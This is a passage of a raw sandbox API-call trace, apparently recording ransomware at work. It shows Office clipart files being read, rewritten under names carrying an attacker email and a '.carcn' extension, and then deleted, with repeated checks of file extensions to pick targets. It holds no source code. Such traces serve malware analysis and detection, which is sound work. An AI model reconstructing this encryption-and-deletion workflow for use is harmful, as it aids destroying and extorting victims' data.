Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0310.156] lstrlenW (lpString=".doc") returned 4 [0310.156] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0310.156] lstrlenW (lpString=".docx") returned 5 [0310.156] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0310.156] lstrlenW (lpString=".pdf") returned 4 [0310.156] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0310.156] lstrlenW (lpString=".xls") returned 4 [0310.156] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0310.156] lstrlenW (lpString=".xlsx") returned 5 [0310.156] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0310.156] lstrlenW (lpString=".ppt") returned 4 [0310.156] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0310.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0310.156] lstrlenW (lpString=".zip") returned 4 [0310.156] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0310.156] lstrlenW (lpString=".rar") returned 4 [0310.156] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0310.156] lstrlenW (lpString=".bz2") returned 4 [0310.156] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0310.156] lstrlenW (lpString=".7z") returned 3 [0310.156] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0310.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0310.157] lstrlenW (lpString=".dbf") returned 4 [0310.157] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0310.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0310.157] lstrlenW (lpString=".1cd") returned 4 [0310.157] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0310.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0310.157] lstrlenW (lpString=".jpg") returned 4 [0310.157] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0310.157] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.157] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107342.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0310.158] GetLastError () returned 0x0 [0310.158] ReadFile (in: hFile=0x388, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x1094, lpOverlapped=0x0) returned 1 [0310.177] WriteFile (in: hFile=0x374, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x10a0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x10a0, lpOverlapped=0x0) returned 1 [0310.178] ReadFile (in: hFile=0x388, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0310.178] WriteFile (in: hFile=0x374, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0310.178] SetEndOfFile (hFile=0x374) returned 1 [0310.178] CloseHandle (hObject=0x374) returned 1 [0310.178] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.178] SetEndOfFile (hFile=0x388) returned 1 [0310.179] CloseHandle (hObject=0x388) returned 1 [0310.179] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0310.179] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107342.wmf")) returned 1 [0310.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0310.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0310.180] lstrlenW (lpString=".doc") returned 4 [0310.180] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0310.180] lstrlenW (lpString=".docx") returned 5 [0310.180] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0310.180] lstrlenW (lpString=".pdf") returned 4 [0310.180] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0310.180] lstrlenW (lpString=".xls") returned 4 [0310.180] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0310.181] lstrlenW (lpString=".xlsx") returned 5 [0310.181] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0310.181] lstrlenW (lpString=".ppt") returned 4 [0310.181] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0310.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0310.181] lstrlenW (lpString=".zip") returned 4 [0310.181] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0310.181] lstrlenW (lpString=".rar") returned 4 [0310.181] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0310.181] lstrlenW (lpString=".bz2") returned 4 [0310.181] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0310.181] lstrlenW (lpString=".7z") returned 3 [0310.181] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0310.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0310.181] lstrlenW (lpString=".dbf") returned 4 [0310.181] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0310.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0310.181] lstrlenW (lpString=".1cd") returned 4 [0310.181] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0310.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0310.181] lstrlenW (lpString=".jpg") returned 4 [0310.181] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0310.182] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.182] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107350.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0310.183] GetLastError () returned 0x0 [0310.183] ReadFile (in: hFile=0x388, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x5c78, lpOverlapped=0x0) returned 1 [0310.202] WriteFile (in: hFile=0x374, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x5c80, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x5c80, lpOverlapped=0x0) returned 1 [0310.204] ReadFile (in: hFile=0x388, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0310.204] WriteFile (in: hFile=0x374, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0310.204] SetEndOfFile (hFile=0x374) returned 1 [0310.204] CloseHandle (hObject=0x374) returned 1 [0310.204] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.204] SetEndOfFile (hFile=0x388) returned 1 [0310.208] CloseHandle (hObject=0x388) returned 1 [0310.208] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0310.209] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107350.wmf")) returned 1 [0310.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68 [0310.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68 [0310.210] lstrlenW (lpString=".doc") returned 4 [0310.210] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0310.210] lstrlenW (lpString=".docx") returned 5 [0310.210] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0310.210] lstrlenW (lpString=".pdf") returned 4 [0310.210] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0310.210] lstrlenW (lpString=".xls") returned 4 [0310.210] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0310.210] lstrlenW (lpString=".xlsx") returned 5 [0310.210] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0310.210] lstrlenW (lpString=".ppt") returned 4 [0310.210] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0310.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68 [0310.210] lstrlenW (lpString=".zip") returned 4 [0310.210] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0310.210] lstrlenW (lpString=".rar") returned 4 [0310.210] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0310.210] lstrlenW (lpString=".bz2") returned 4 [0310.210] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0310.210] lstrlenW (lpString=".7z") returned 3 [0310.210] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0310.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68 [0310.211] lstrlenW (lpString=".dbf") returned 4 [0310.211] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0310.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68 [0310.211] lstrlenW (lpString=".1cd") returned 4 [0310.211] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0310.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68 [0310.211] lstrlenW (lpString=".jpg") returned 4 [0310.211] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0310.229] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.230] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107364.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0310.231] GetLastError () returned 0x0 [0310.231] ReadFile (in: hFile=0x398, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x40cc, lpOverlapped=0x0) returned 1 [0310.247] WriteFile (in: hFile=0x35c, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x40d0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x40d0, lpOverlapped=0x0) returned 1 [0310.248] ReadFile (in: hFile=0x398, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0310.248] WriteFile (in: hFile=0x35c, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0310.248] SetEndOfFile (hFile=0x35c) returned 1 [0310.249] CloseHandle (hObject=0x35c) returned 1 [0310.249] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.249] SetEndOfFile (hFile=0x398) returned 1 [0310.250] CloseHandle (hObject=0x398) returned 1 [0310.250] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0310.250] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107364.wmf")) returned 1 [0310.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68 [0310.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68 [0310.251] lstrlenW (lpString=".doc") returned 4 [0310.251] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0310.251] lstrlenW (lpString=".docx") returned 5 [0310.251] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0310.251] lstrlenW (lpString=".pdf") returned 4 [0310.251] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0310.251] lstrlenW (lpString=".xls") returned 4 [0310.251] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0310.251] lstrlenW (lpString=".xlsx") returned 5 [0310.251] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0310.251] lstrlenW (lpString=".ppt") returned 4 [0310.251] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0310.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68 [0310.252] lstrlenW (lpString=".zip") returned 4 [0310.252] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0310.252] lstrlenW (lpString=".rar") returned 4 [0310.252] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0310.252] lstrlenW (lpString=".bz2") returned 4 [0310.252] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0310.252] lstrlenW (lpString=".7z") returned 3 [0310.252] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0310.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68 [0310.252] lstrlenW (lpString=".dbf") returned 4 [0310.252] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0310.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68 [0310.252] lstrlenW (lpString=".1cd") returned 4 [0310.252] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0310.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68 [0310.252] lstrlenW (lpString=".jpg") returned 4 [0310.252] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0310.253] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.253] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107450.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0310.253] GetLastError () returned 0x0 [0310.253] ReadFile (in: hFile=0x398, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x1338, lpOverlapped=0x0) returned 1 [0310.262] WriteFile (in: hFile=0x35c, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x1340, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x1340, lpOverlapped=0x0) returned 1 [0310.263] ReadFile (in: hFile=0x398, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0310.263] WriteFile (in: hFile=0x35c, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0310.263] SetEndOfFile (hFile=0x35c) returned 1 [0310.263] CloseHandle (hObject=0x35c) returned 1 [0310.263] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.264] SetEndOfFile (hFile=0x398) returned 1 [0310.265] CloseHandle (hObject=0x398) returned 1 [0310.265] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0310.265] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107450.wmf")) returned 1 [0310.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68 [0310.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68 [0310.266] lstrlenW (lpString=".doc") returned 4 [0310.266] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0310.266] lstrlenW (lpString=".docx") returned 5 [0310.266] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0310.266] lstrlenW (lpString=".pdf") returned 4 [0310.266] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0310.266] lstrlenW (lpString=".xls") returned 4 [0310.266] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0310.266] lstrlenW (lpString=".xlsx") returned 5 [0310.266] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0310.266] lstrlenW (lpString=".ppt") returned 4 [0310.266] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0310.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68 [0310.266] lstrlenW (lpString=".zip") returned 4 [0310.266] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0310.266] lstrlenW (lpString=".rar") returned 4 [0310.266] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0310.266] lstrlenW (lpString=".bz2") returned 4 [0310.267] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0310.267] lstrlenW (lpString=".7z") returned 3 [0310.267] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0310.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68 [0310.267] lstrlenW (lpString=".dbf") returned 4 [0310.267] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0310.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68 [0310.267] lstrlenW (lpString=".1cd") returned 4 [0310.267] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0310.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68 [0310.267] lstrlenW (lpString=".jpg") returned 4 [0310.267] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0310.282] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.282] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107456.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0310.283] GetLastError () returned 0x0 [0310.283] ReadFile (in: hFile=0x334, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0xe8c, lpOverlapped=0x0) returned 1 [0310.285] WriteFile (in: hFile=0x37c, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xe90, lpOverlapped=0x0) returned 1 [0310.286] ReadFile (in: hFile=0x334, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0310.286] WriteFile (in: hFile=0x37c, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0310.286] SetEndOfFile (hFile=0x37c) returned 1 [0310.286] CloseHandle (hObject=0x37c) returned 1 [0310.286] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.286] SetEndOfFile (hFile=0x334) returned 1 [0310.287] CloseHandle (hObject=0x334) returned 1 [0310.287] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0310.287] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107456.wmf")) returned 1 [0310.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68 [0310.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68 [0310.288] lstrlenW (lpString=".doc") returned 4 [0310.288] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0310.288] lstrlenW (lpString=".docx") returned 5 [0310.288] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0310.288] lstrlenW (lpString=".pdf") returned 4 [0310.288] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0310.289] lstrlenW (lpString=".xls") returned 4 [0310.289] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0310.289] lstrlenW (lpString=".xlsx") returned 5 [0310.289] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0310.289] lstrlenW (lpString=".ppt") returned 4 [0310.289] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0310.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68 [0310.289] lstrlenW (lpString=".zip") returned 4 [0310.289] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0310.289] lstrlenW (lpString=".rar") returned 4 [0310.289] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0310.289] lstrlenW (lpString=".bz2") returned 4 [0310.289] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0310.289] lstrlenW (lpString=".7z") returned 3 [0310.289] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0310.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68 [0310.289] lstrlenW (lpString=".dbf") returned 4 [0310.289] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0310.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68 [0310.289] lstrlenW (lpString=".1cd") returned 4 [0310.289] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0310.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68 [0310.289] lstrlenW (lpString=".jpg") returned 4 [0310.289] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0310.290] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, 